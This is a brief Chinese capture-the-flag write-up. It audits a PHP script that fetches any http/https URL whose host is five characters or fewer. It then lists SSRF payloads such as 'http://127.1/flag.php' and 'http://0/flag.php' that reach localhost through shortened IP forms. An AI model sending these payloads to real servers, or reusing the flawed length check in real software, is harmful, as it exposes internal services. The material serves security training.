1. 代码审计

      1. <?php
      2. error_reporting(0);
      3. highlight_file(__FILE__);
      4. $url=$_POST['url'];
      5. $x=parse_url($url);
      6. if($x['scheme']==='http'||$x['scheme']==='https'){
      7. $host=$x['host'];
      8. if((strlen($host)<=5))
      9. //对IP长度进行限制
      10. {
      11. $ch=curl_init($url);
      12. curl_setopt($ch, CURLOPT_HEADER, 0);
      13. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      14. $result=curl_exec($ch);
      15. curl_close($ch);
      16. echo ($result);
      17. }
      18. else{
      19. die('hacker');
      20. }
      21. }
      22. else{
      23. die('hacker');
      24. }
      25. ?>
    2. 限制ip和域名长度要小于5,所以利用特殊写法来写

      #POST提交
      url=http://127.1/flag.php
      url=http://0/flag.php
      url=http://0.0.0/flag.php
      

      image-20210621220650543.png